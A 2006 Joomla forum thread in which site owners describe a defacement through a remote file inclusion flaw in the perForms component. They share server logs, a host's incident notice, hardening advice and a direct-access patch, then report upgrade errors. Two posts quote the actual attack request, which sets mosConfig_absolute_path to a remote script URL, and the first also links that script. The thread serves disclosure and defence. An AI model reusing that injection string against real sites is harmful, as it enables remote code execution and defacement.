Joomla! Discussion Forums



It is currently Thu Nov 26, 2009 8:37 pm (All times are UTC )

 


Forum rules

Forum Rules
Absolute Beginner's Guide to Joomla! <-- please read before posting, this means YOU.
Forum Post Assistant - If you are serious about wanting help, you will use this tool to help you post.



Post new topic Reply to topic  [ 9 posts ] 
Author Message
Posted: Sun Jul 16, 2006 6:19 am 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Thu Jun 29, 2006 10:17 pm
Posts: 36
Location: India
Yesterday My website using "Joomla! 1.0.10 Stable [ Sundown ] 26 June 2006 00:00 UTC" was defaced. When I checked the logs the possible hacker ran this script.
He was able to replace the index file in the root folder(public_html) and the Joomla Installation Folder (cms) on my server.
I have noticed he also ran the script on the "com_forum" component i.e. the default Forum component  of Joomla I think.
But I am not sure which one had him get going.
It was really an annoying experience I uninstalled perForms since then.

>>> Host: 193.255.106.11
>>>  /cms/components/com_performs/performs.php?mosConfig_absolute_path=http://mairie.lhermitage.free.fr/list.txt?
>>>
>>>
Heres my server Info:
Code:
Operating system     Linux
Kernel version    2.4.32-grsec
Machine Type    i686
Apache version    1.3.34 (Unix)
PERL version    5.8.6
PHP version    4.4.2
MySQL version    4.0.27-standard
cPanel Build    10.8.2-RELEASE 119
cPanel Pro    1.0 (RC36)

Heres the copy of the code he executed.
http://mairie.lhermitage.free.fr/list.txt

_________________
I reject your EXISTENCE, and substitute one of my own.... ;)
http://www.ajuonline.net


Top
  E-mail  
 
Posted: Sun Jul 16, 2006 8:16 am 
User avatar
Joomla! Enthusiast
Joomla! Enthusiast
Offline

Joined: Sat Mar 04, 2006 10:55 am
Posts: 112
Location: Perth, WA, Australia
Unfortunately the perForms component isn't the only one that is exploitable via this method. ExtCal is also known to suffer from this issue (see http://forum.joomla.org/index.php/topic,75390.0.html).

Three days ago the same thing happened to our old server (fortunately we had moved our sites to our new server the day before!) and the hack managed to replace most files named index and index2 as well as the configuration.php file and a few apache based files.

Fortunately from what I can tell, the db data remains untouched so you should be able to rebuild the site without needing to touch the db then point the new installation at the old db.

I would also strongly advise changing the permissions on your new installation as this will limit the damage caused by such an exploit; if you are on linux I would advise;

chown httpd:httpd -R /path/to/your/site

then make the files readonly;

chmod 550 -R /path/to/your/site

This will require more work when installing components (i.e. you'll have to make the components and administrator/components read/write for the httpd user for the duration of the installation).

Finally, there is a short-term fix available for this exploit although it requires manually editing the sourcecode (I believe it is here; http://forum.joomla.org/index.php/topic,75390.0.html). The fix should prevent the hacker from directly calling the performs.php file which is what has happened here;

/cms/components/com_performs/performs.php?mosConfig_absolute_path=http://mairie.lhermitage.free.fr/list.txt?

As you can see, they have executed the file directly, which in Joomla is something a component should not allow. I would also contact the creator of the component and inform them of this exploit. They may be able to give you more information regarding a longer term fix.

_________________
You know it's easy to grin when your ship comes in and you've got the stockmarket beat. But  the man worthwhile is the man who can smile when his shorts aren't too tight in the seat.


Top
  E-mail  
 
Posted: Sun Jul 16, 2006 8:46 am 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Thu Jun 29, 2006 10:17 pm
Posts: 36
Location: India
Yes the DB was untouched. The tech support from my Hosting replaced the index files from the backup and I uninstalled the perForms module as i was not using it.
I did make out this.. by the logs..
Thank you for your reply..
Anyone who wud make a component, disabling direct access to the script is what someone wud initially do :)
Regards
AJ

_________________
I reject your EXISTENCE, and substitute one of my own.... ;)
http://www.ajuonline.net


Top
  E-mail  
 
Posted: Mon Jul 17, 2006 7:01 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Sun Nov 20, 2005 2:29 pm
Posts: 25
Add before any code in performs.php:

defined('_VALID_MOS') or die('Direct access to this location is not allowed.');

for v2, beta
http://developer.joomla.org/sf/projects/performs


Top
  E-mail  
 
Posted: Wed Aug 09, 2006 2:49 pm 
User avatar
Joomla! Enthusiast
Joomla! Enthusiast
Offline

Joined: Thu Aug 25, 2005 8:35 pm
Posts: 154
I received this email from my host this morning. I was severely hacked 2 weeks ago. I have multiple sites on one server. One is using Performs 2.0 Beta, the other two use 1.0.


Quote:
Domain: xxxxxxxxx.com
Username: xxxxxx
IP: xxx.xxx.xxx.xxx

We have recently discovered suspicious activity on your account. Processes running under your username were causing performance degredation and called our attention to your server. Upon investigation, we have found several hacking scripts present within the server's shared directory, /tmp.

I have removed these files to ensure they are not run again. You may wish to investigate your account and ensure that you are not running any insecure scripts. You may also wish to ensure that the scripts you are running are fully updated to the latest version, as security holes are usually patched in later versions of software.

While I was investigating this, I removed the hacking files from the server only to see them reappear again moments later.  It appears the attacker was actively attacking your script as I was resolving the issue.  While investigating, I noticed that the script:

performs.php

was being run simulaneously with the appearance of the hack scripts.  I disabled the following scripts:

public_html/xxxxxxx/components/com_performs/performs.php
public_html/xxxxxxxxx/components/com_performs/performs.php
public_html/xxxxxxxxxx/components/com_performs/performs.php

Once done, the hack scripts stopped reappearing.  It appears to me that there is a compromise located within this script.

There is no need to respond to this ticket, but if you would like further information or have any questions, feel free to repost.

Acenet Inc.


- Ryan K.
Technical Manager


Thank you for the updated version ilhami. This is a great component (a mambot would be my dream!), and is great to see that the project is not dead. I will be installing the new version now, but I am confused. I have version 2.0 beta, and the forge page talks about version 1.5, but only has 1.1 available. Are there multiple branches of the component?


Top
  E-mail  
 
Posted: Wed Aug 09, 2006 3:08 pm 
User avatar
Joomla! Enthusiast
Joomla! Enthusiast
Offline

Joined: Thu Aug 25, 2005 8:35 pm
Posts: 154
ilhami,

Nevermind.

Thank you.


Last edited by FerretLife on Wed Aug 09, 2006 3:33 pm, edited 1 time in total.

Top
  E-mail  
 
Posted: Wed Aug 09, 2006 3:28 pm 
User avatar
Joomla! Enthusiast
Joomla! Enthusiast
Offline

Joined: Thu Aug 25, 2005 8:35 pm
Posts: 154
OK. Now I am getting errors on the pages with Performs forms:

Quote:
Warning: explode() [function.explode]: Empty delimiter. in /home/xxxxxx/public_html/xxxxxxxxx/administrator/components/com_performs/lib/myLib.php on line 39

Warning: Invalid argument supplied for foreach() in /home/xxxxxx/public_html/xxxxxxxxx/administrator/components/com_performs/lib/myLib.php on line 40


On the Admin side I get on the Performs items page:
   
Quote:
First Name  text  2  Move Up    Move Down 
 
Warning: explode() [function.explode]: Empty delimiter. in /home/xxxxxx/public_html/xxxxxxxxx/administrator/components/com_performs/admin.performs.html.php on line 175

Warning: implode() [function.implode]: Bad arguments. in /home/xxxxxx/public_html/xxxxxxxxx/administrator/components/com_performs/admin.performs.html.php on line 175


and i get an error message when I go to a checkbox item. These checkboxes don't appear in forms.
Quote:
Warning: explode() [function.explode]: Empty delimiter. in /home/xxxxxx/public_html/xxxxxxxxx/administrator/components/com_performs/admin.performs.php on line 316

Warning: Invalid argument supplied for foreach() in /home/xxxxxx/public_html/xxxxxxxxx/administrator/components/com_performs/admin.performs.php on line 317


Last edited by FerretLife on Wed Aug 09, 2006 3:46 pm, edited 1 time in total.

Top
  E-mail  
 
Posted: Wed Aug 09, 2006 4:17 pm 
User avatar
Joomla! Enthusiast
Joomla! Enthusiast
Offline

Joined: Thu Aug 25, 2005 8:35 pm
Posts: 154
On one of my sites I have two forms. I tries to use one and it stated that the email was sent, even though it still had the mylib.php warnings. The other form I had to disable a checkbox, and make it not required to make the form work on the site.

The problem is I don't get the emails. These forms were working fine in version 1.0. I changed nothing except doing the upgrade from 1.0 to 1.1.

ilhami, I hope this all helps you find and fix the problems. I really rely on your forms component.

Thank you.


Top
  E-mail  
 
Posted: Thu Aug 10, 2006 2:17 pm 
User avatar
Joomla! Enthusiast
Joomla! Enthusiast
Offline

Joined: Thu Aug 25, 2005 8:35 pm
Posts: 154
Thank you for the quick fix. Installed 1.1.1 and all seems fine.


Top
  E-mail  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 9 posts ] 

Quick reply

 



Who is online

Users browsing this forum: theflyingdutchman and 6 guests


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Jump to:  
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group